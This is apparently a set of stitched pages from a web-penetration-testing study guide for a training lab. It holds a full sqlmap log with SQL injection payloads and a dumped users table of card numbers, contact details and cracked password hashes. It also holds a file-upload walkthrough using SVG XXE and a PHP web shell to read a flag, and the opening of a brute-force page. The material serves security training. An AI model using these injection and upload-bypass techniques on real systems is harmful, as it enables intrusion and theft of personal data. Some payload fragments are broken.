[16:28:10] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[16:28:10] [INFO] testing 'MySQL inline queries'
[16:28:10] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[16:28:10] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)
[16:28:23] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
[16:28:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[16:28:34] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[16:28:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:28:34] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:28:34] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:28:35] [INFO] target URL appears to have 6 columns in query
[16:28:36] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1689=1689
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(5497=5497,1))),0x717a7a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 6423 FROM (SELECT(SLEEP(5)))BdfW)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171626b71,0x586b79504e675654694b4650417a506d64704b52434c5853667a705a7a45477a7a4a677579414b42,0x717a7a7a71)-- -
---
[16:28:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[16:28:36] [INFO] fetching tables for database: 'testdb'
[16:28:37] [INFO] fetching columns for table 'users' in database 'testdb'
[16:28:37] [INFO] fetching entries for table 'users' in database 'testdb'
[16:28:37] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[16:28:37] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[16:28:37] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[16:28:37] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[16:28:37] [INFO] starting 4 processes
[16:28:37] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'
[16:28:38] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'
[16:28:38] [INFO] cracked password '1955chev' for hash 'aed6d83bab8d9234a97f18432cd9a85341527297'
[16:28:38] [INFO] cracked password '3052' for hash '9a0f092c8d52eaf3ea423cef8485702ba2b3deb9'
[16:28:38] [INFO] cracked password 'Enizoom1609' for hash 'd642ff0feca378666a8727947482f1a4702deba0'
[16:28:38] [INFO] cracked password 'actionteam' for hash '520df62660b18e571c7cb3b5d3f559b8a8ff0d4b'
[16:28:38] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'
[16:28:38] [INFO] cracked password 'aza221p' for hash '6725c7bee76ccdb7eda15fa263908988115498a9'
[16:28:39] [INFO] cracked password 'breakout' for hash 'ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74'
[16:28:39] [INFO] cracked password 'donatus' for hash '20021ffbd3be7a3cddc64812d5dd6e5afb6e760c'
[16:28:39] [INFO] cracked password 'exquisite' for hash 'c7fbcdaf308cdcd64504d46342e7c79959388c44'
[16:28:39] [INFO] cracked password 'hjungpil1' for hash '4282cfe7697817374251bc17aa47de6f620586b5'
[16:28:39] [INFO] cracked password 'homerhound' for hash 'c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b'
[16:28:39] [INFO] cracked password 'hibiskus' for hash 'a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295'
[16:28:40] [INFO] cracked password 'melek200215' for hash '5635e59941510dc473fbeed046c43007f76cfe03'
[16:28:40] [INFO] cracked password 'millisa34' for hash '608e6d07cc8ce20bfdaf9c72ef420ad691de32cb'
[16:28:40] [INFO] cracked password 'morswin2' for hash '8203b1bf12aba49d7566ff7007b60d1c0a439bee'
[16:28:40] [INFO] cracked password 'mike230040' for hash '65b136cb1ec4b88f709f8f510262720eddfa71a7'
[16:28:40] [INFO] cracked password 'nike92' for hash '2e0488a09433aa0d67b3463c76f407c7b0388ad7'
[16:28:40] [INFO] cracked password 'plasid' for hash '15ce1871a907e8265f00defa21a723e7a4d35267'
[16:28:40] [INFO] cracked password 'raided' for hash '2b89b43b038182f67a8b960611d73e839002fbd9'
[16:28:40] [INFO] cracked password 'rohaniah' for hash '4bf1926f7bb7ae283e1390236fd4a8737209862e'
[16:28:40] [INFO] cracked password 'sgreen4eva' for hash '41244ab550c182b3ebe2dce87065bf363d0e013e'
[16:28:40] [INFO] cracked password 'sk8ter58' for hash '3d8f48ab8e119dd813a449f6bfcf42abae63567b'
[16:28:40] [INFO] cracked password 'ford1900' for hash 'f2d897eb3bae0f1fd396325deb3c4779ae1d586d'
[16:28:40] [INFO] cracked password 'spiderpig8574376' for hash 'b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e'
[16:28:40] [INFO] cracked password 'ssival47' for hash 'f5eb0fbdd88524f45c7c67d240a191163a27184b'
[16:28:41] [INFO] cracked password 'tarablinda' for hash '9987f0c165bc62eb3ee3db17967fbb81c026c197'
[16:28:41] [INFO] cracked password 'vptwo0gc' for hash '21549a28300f72442b132d06d4016de606f36627'
Database: testdb
Table: users
[32 entries]
+----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| id | cc | email | phone | name | address | birthday | password | occupation |
+----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| 1 | 5387278172507117 | MaynardMRice@yahoo.com | 281-559-0172 | Maynard Rice | 1698 Bird Spring Lane | March 1 1958 | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) | Linemen |
| 2 | 4539475107874477 | JulioWThomas@gmail.com | 973-426-5961 | Julio Thomas | 1207 Granville Lane | February 14 1972 | 10946aa229a6d569f226976b22ea0e900a1fc219 | Agricultural product sorter |
| 3 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) | General and operations manager |
| 4 | 4929811432072262 | GregoryBStumbaugh@yahoo.com | 410-680-5653 | Gregory Stumbaugh | 1641 Marshall Street | May 7 1936 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter |
| 5 | 4539646911423277 | BobbyJGranger@gmail.com | 212-696-1812 | Bobby Granger | 4510 Shinn Street | December 22 1939 | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev) | Medical records and health information technician |
| 6 | 5143241665092174 | KimberlyMWright@gmail.com | 440-232-3739 | Kimberly Wright | 3136 Ralph Drive | June 18 1972 | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609) | Electrologist |
| 7 | 5503989023993848 | DeanLHarper@yahoo.com | 440-847-8376 | Dean Harper | 3766 Flynn Street | February 3 1974 | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided) | Store detective |
| 8 | 4556586478396094 | GabrielaRWaite@msn.com | 732-638-1529 | Gabriela Waite | 2459 Webster Street | December 24 1965 | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47) | Telephone station installer |
| 9 | 5452466713512742 | RoySCarr@msn.com | 408-848-6272 | Roy Carr | 1384 Sycamore Street | October 19 1942 | 9987f0c165bc62eb3ee3db17967fbb81c026c197 (tarablinda) | Freight, stock, and material mover |
| 10 | 5231550277906388 | AlfonzoGWilliams@gmail.com | 740-546-1581 | Alfonzo Williams | 911 Irving Road | July 16 1931 | c418f9859f9d85e9c7e1eadd8c512cf7ddf4d16b (homerhound) | Outside order clerk |
| 11 | 5224197138746170 | ChristopherHBrown@yahoo.com | 917-840-2535 | Christopher Brown | 2246 Settlers Lane | March 29 1951 | 608e6d07cc8ce20bfdaf9c72ef420ad691de32cb (millisa34) | Unlicensed assistive personnel |
| 12 | 4485150912665782 | AudreyRHill@gmail.com | 717-308-3644 | Audrey Hill | 2306 Stout Street | July 19 1969 | 8203b1bf12aba49d7566ff7007b60d1c0a439bee (morswin2) | Mail processor |
| 13 | 4716071391111521 | RyanMSpencer@msn.com | 256-441-1530 | Ryan Spencer | 4309 Turnpike Drive | July 3 1979 | ef6896ab2d5a3c6e8ba7ee46ba3e48c29057ad74 (breakout) | Claims representative |
| 14 | 4716242999773281 | JessieJSchwan@yahoo.com | 989-217-2111 | Jessie Schwan | 1285 Wood Street | October 28 1937 | 520df62660b18e571c7cb3b5d3f559b8a8ff0d4b (actionteam) | Network and computer systems administrator |
| 15 | 5183997232057997 | ShannonRStewart@yahoo.com | 828-850-2133 | Shannon Stewart | 1596 Watson Lane | May 28 1934 | 2e0488a09433aa0d67b3463c76f407c7b0388ad7 (nike92) | Sketch artist |
| 16 | 4556164708532886 | MarkLStilwell@msn.com | 715-392-4649 | Mark Stilwell | 121 Abner Road | September 1 1950 | 21549a28300f72442b132d06d4016de606f36627 (vptwo0gc) | Occupational therapist assistant |
| 17 | 4485731897297327 | AnnetteDGill@yahoo.com | 216-376-3062 | Annette Gill | 4999 Glenwood Avenue | August 19 1977 | 0ff476c2676a2e5f172fe568110552f2e910c917 (Zc1uowqg6) | Plate finisher |
| 18 | 4485934311754598 | CyndiBReyes@gmail.com | 903-679-2061 | Cyndi Reyes | 4347 Hall Place | June 5 1947 | 15ce1871a907e8265f00defa21a723e7a4d35267 (plasid) | Executive |
| 19 | 5217064909950341 | WilliamDMunoz@gmail.com | 323-789-6686 | William Munoz | 2961 Hillhaven Drive | July 4 1928 | df692aa944eb45737f0b3b3ef906f8372a3834e9 (1201Hunt) | Service station attendant |
| 20 | 4929461176669103 | ScottBPonce@yahoo.com | 626-537-0602 | Scott Ponce | 3023 Woodstock Drive | September 19 1947 | 20021ffbd3be7a3cddc64812d5dd6e5afb6e760c (donatus) | Benefits manager |
| 21 | 4916977560623393 | PhilipTAhearn@gmail.com | 509-327-6685 | Philip Ahearn | 4418 Goodwin Avenue | May 22 1938 | 3d8f48ab8e119dd813a449f6bfcf42abae63567b (sk8ter58) | Office assistant |
| 22 | 5480619405065199 | MyraJStephenson@yahoo.com | 717-770-6897 | Myra Stephenson | 4225 Aaron Smith Drive | December 25 1966 | 41244ab550c182b3ebe2dce87065bf363d0e013e (sgreen4eva) | Animator |
| 23 | 4532761682899246 | MarianCJoiner@yahoo.com | 707-467-5061 | Marian Joiner | 273 Fairway Drive | February 12 1978 | 5635e59941510dc473fbeed046c43007f76cfe03 (melek200215) | Foundry mold and coremaker |
| 24 | 5357620822740711 | LloydSLiu@gmail.com | 616-396-4287 | Lloyd Liu | 3277 Howard Street | August 18 1951 | 09422b94c8f031285b22500c2d0a68bb8ec4dc70 | Sound engineering technician |
| 25 | 5219707450752213 | JoshuaEFletcher@gmail.com | 317-670-8864 | Joshua Fletcher | 1510 Stewart Street | August 14 1934 | 65b136cb1ec4b88f709f8f510262720eddfa71a7 (mike230040) | Edition binding worker |
| 26 | 4485684355495794 | MargaretNBooker@msn.com | 760-969-7147 | Margaret Booker | 70 Wilson Street | December 17 1975 | 4282cfe7697817374251bc17aa47de6f620586b5 (hjungpil1) | Management information systems director |
| 27 | 5134210174158363 | FrancisMArroyo@yahoo.com | 951-252-9692 | Francis Arroyo | 3600 Hillcrest Lane | July 6 1993 | f2d897eb3bae0f1fd396325deb3c4779ae1d586d (ford1900) | Gastroenterology nurse |
| 28 | 4485114901308234 | AngelJMarquez@gmail.com | 209-874-4743 | Angel Marquez | 1144 Richards Avenue | May 14 1966 | 4bf1926f7bb7ae283e1390236fd4a8737209862e (rohaniah) | Echocardiographer |
| 29 | 4532210842993911 | PamelaJRock@yahoo.com | 715-454-8565 | Pamela Rock | 3110 Abner Road | October 31 1992 | c7fbcdaf308cdcd64504d46342e7c79959388c44 (exquisite) | Private investigator |
| 30 | 4556109704569770 | DennisDSnow@yahoo.com | 715-730-1951 | Dennis Snow | 4211 Tea Berry Lane | November 10 1938 | 6725c7bee76ccdb7eda15fa263908988115498a9 (aza221p) | Unlicensed assistive personnel |
| 31 | 5554945940459873 | LorenSBunch@gmail.com | 805-766-2963 | Loren Bunch | 3111 Par Drive | October 22 1971 | 70f361f8a1c9035a1d972a209ec5e8b726d1055e (05adrian) | Cafeteria cook |
| 32 | 4716522746974567 | KennethTMaloney@gmail.com | 954-617-0424 | Kenneth Maloney | 2811 Kenwood Place | May 14 1989 | c6970ba1130b4bbca5be99f0ce00a706f256c818 | General and operations manager |
+----+------------------+-----------------------------+--------------+-------------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
[16:28:43] [INFO] table 'testdb.users' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/users.csv'
[16:28:43] [INFO] fetching columns for table 'flag1' in database 'testdb'
[16:28:43] [INFO] fetching entries for table 'flag1' in database 'testdb'
Database: testdb
Table: flag1
[1 entry]
+----+-----------------------------------------------------+
| id | content |
+----+-----------------------------------------------------+
| 1 | HTB{c0n6r475_y0u_kn0w_h0w_70_run_b451c_5qlm4p_5c4n} |
+----+-----------------------------------------------------+
[16:28:44] [INFO] table 'testdb.flag1' dumped to CSV file '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103/dump/testdb/flag1.csv'
[16:28:44] [INFO] fetched data logged to text files under '/home/htb-ac-1067736/.local/share/sqlmap/output/94.237.62.103'
[16:28:44] [WARNING] your sqlmap version is outdated
[*] ending @ 16:28:44 /2025-11-09/
Show all 181 lines
---
# Re Walk | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk.md)
.
Skills Assessment - File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#skills-assessment-file-upload-attacks)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#question-1)
#### "Try to exploit the upload form to read the flag found at the root directory "/"."[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#try-to-exploit-the-upload-form-to-read-the-flag-found-at-the-root-directory)
After spawning the target machine, students need to visit its website's root page and click on "Contact Us", where images can be uploaded:

File\_Upload\_Attacks\_Walkthrough\_Image\_35.png
When students try to upload an image, it gets uploaded and displayed directly after clicking the green icon, without having to submit the form, thus, students need not click on "SUBMIT":

File\_Upload\_Attacks\_Walkthrough\_Image\_36.png
Checking the uploaded image's link, students will notice that it is saved as a base64 string, with its full path not being disclosed, thus, the uploads directory can't be determined:

File\_Upload\_Attacks\_Walkthrough\_Image\_37.png
Subsequently, students need to start `Burp Suite`, set `FoxyProxy` to the preconfigured "BURP" profile, and click on the green icon to intercept the image upload request and send it to `Intruder` (`Ctrl` + `I`):

File\_Upload\_Attacks\_Walkthrough\_Image\_38.png
After clearing the default payload markers, students need to test for whitelisted extensions by adding a payload marker before the dot, such that it becomes `§.jpg§`:

File\_Upload\_Attacks\_Walkthrough\_Image\_39.png
Then, students need to uncheck "URL-encode these characters", copy the items of the [PHP extensions.lst](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst)
list and paste them under `Payload Options`, then click "Start attack":

File\_Upload\_Attacks\_Walkthrough\_Image\_40.png

File\_Upload\_Attacks\_Walkthrough\_Image\_41.png
Students will notice that the responses for the requests of extensions `.pht`, `.phtm`, `.phar`, and `.pgif` don't contain "Extension not allowed" but rather "Only images are allowed":

File\_Upload\_Attacks\_Walkthrough\_Image\_42.png
Thus, students need to choose one of the extensions to attempt bypassing the whitelist test, `.phar` will be used. Because any file with an extension not ending with that of an image can't be uploaded, the best attempt students can take is to name a shell file as `shell.phar.jpg`. However, this file can only be uploaded if the `Content-Type` header of the original image is not modified. Therefore, students need to fuzz the `Content-Type` header value. First, students need to add a payload marker around the value of `Content-Type`, such that it becomes `§image/jpeg§`:

File\_Upload\_Attacks\_Walkthrough\_Image\_43.png
Then, students need to download [web-all-content-types.txt](https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt)
:
Code: shell
Skills Assessment - File Upload Attacks
Subsequently, students need only to have content types that contain `image/`, so they need to use `grep`, copy the matching ones to the clipboard, and then paste them under "Payload Options" in `Burp Suite`:
Code: shell
Skills Assessment - File Upload Attacks

File\_Upload\_Attacks\_Walkthrough\_Image\_44.png
After clicking on "Start attack" (and making sure that "URL-encode these characters" is unchecked), students will notice that most responses are 190 bytes in size, containing the message "Only images are allowed", however, the responses for `image/jpg`, `image/jpeg`, `image/png`, and `image/svg+xml` are an exception, as the images got uploaded successfully:

File\_Upload\_Attacks\_Walkthrough\_Image\_45.png
Since SVG images are allowed, and the uploaded images get reflected to the students, they need to attempt an SVG attack by creating an image called `shell.svg` with the following content to read the source code of the file `upload.php`:
Code: xml
Students can use `cat` to save the `XML` code into a file:
Code: shell
Skills Assessment - File Upload Attacks
Subsequently, students need to upload `shell.svg`, however, when attempting to, they will receive the message "only images are allowed". To bypass this, students can change the extension from `.svg` to `.jpeg`:
Code: shell
Skills Assessment - File Upload Attacks

File\_Upload\_Attacks\_Walkthrough\_Image\_46.png
However, in the intercepted request, students need to change the filename to have the `.svg` extension and `Content-Type` to be `image/svg+xml`:

File\_Upload\_Attacks\_Walkthrough\_Image\_47.png
After forwarding the request and checking its response, students will notice that they have the base64-encoded version of `upload.php`, thus, they need to decode it:

File\_Upload\_Attacks\_Walkthrough\_Image\_48.png
Code: shell
Skills Assessment - File Upload Attacks
From the decoded output, students will know that the uploads directory is `./user_feedback_submissions/`, and that the uploaded file names are prepended with the date `ymd`, which adds the current year in short format, the current month, and the current day. With this information, students now need to upload a PHP web shell so that they can execute commands by creating an SVG file that contains it:
Code: xml
Students can use `cat` to save the exploit into a file:
Code: shell
Skills Assessment - File Upload Attacks
Subsequently, since the frontend does not allow `.svg` extensions, students need to change it to `.jpeg`:
Code: shell
Skills Assessment - File Upload Attacks

File\_Upload\_Attacks\_Walkthrough\_Image\_49.png
Within the intercepted request, students need to change back the extension to `.svg` for filename and make `Content-Type` to be `image/svg+xml`:

File\_Upload\_Attacks\_Walkthrough\_Image\_50.png
After forwarding the request, students need to navigate to `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg` and use the `cmd` URL parameter to execute commands, as in `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg?cmd=ls+/`:

File\_Upload\_Attacks\_Walkthrough\_Image\_51.png
Students will notice that the flag file exists in the root directory with the name `flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`, thus they need to fetch its contents, as in `http://STMIP:STMPO/contact/user_feedback_submissions/YMD_shell.phar.svg?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`:

File\_Upload\_Attacks\_Walkthrough\_Image\_52.png
Answer: {hidden}
[PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment)
[NextCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet)
Last updated 8 months ago
* [Skills Assessment - File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#skills-assessment-file-upload-attacks)
* [Question 1](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk#question-1)
Copy
wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt--2022-11-30 05:03:37-- https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-all-content-types.txt [following]
--2022-11-30 05:03:37-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-all-content-types.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 58204 (57K) [text/plain]
Saving to: ‘web-all-content-types.txt’
web-all-content-types.txt 100%[==============================================>] 56.84K --.-KB/s in 0.001s
2022-11-30 05:03:37 (59.6 MB/s) - ‘web-all-content-types.txt’ saved [58204/58204]
Copy
cat web-all-content-types.txt | grep 'image/' | xclip -se c
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ cat web-all-content-types.txt | grep 'image/' | xclip -se c
Copy
]>
Copy
cat << 'EOF' > shell.svg
]>
EOF
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ cat << 'EOF' > shell.svg
> ]>
> EOF
Copy
mv shell.svg shell.jpeg
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ mv shell.svg shell.jpeg
Copy
echo 'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K' | base64 -d
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ echo 'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K' |base64 -d
500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
Copy
]>
Copy
cat << 'EOF' > shell.phar.svg
]>
EOF
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ cat << 'EOF' > shell.phar.svg
> ]>
> EOF
Copy
mv shell.phar.svg shell.phar.jpeg
Copy
┌─[eu-academy-1]─[10.10.14.228]─[htb-ac413848@htb-l4rsenhs6c]─[~]
└──╼ [★]$ mv shell.phar.svg shell.phar.jpeg
---
# Basic HTTP Authentication | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/basic-http-authentication.md)
.
Web applications often employ authentication mechanisms to protect sensitive data and functionalities. Basic HTTP Authentication, or simply `Basic Auth`, is a rudimentary yet common method for securing resources on the web. Though easy to implement, its inherent security vulnerabilities make it a frequent target for brute-force attacks.
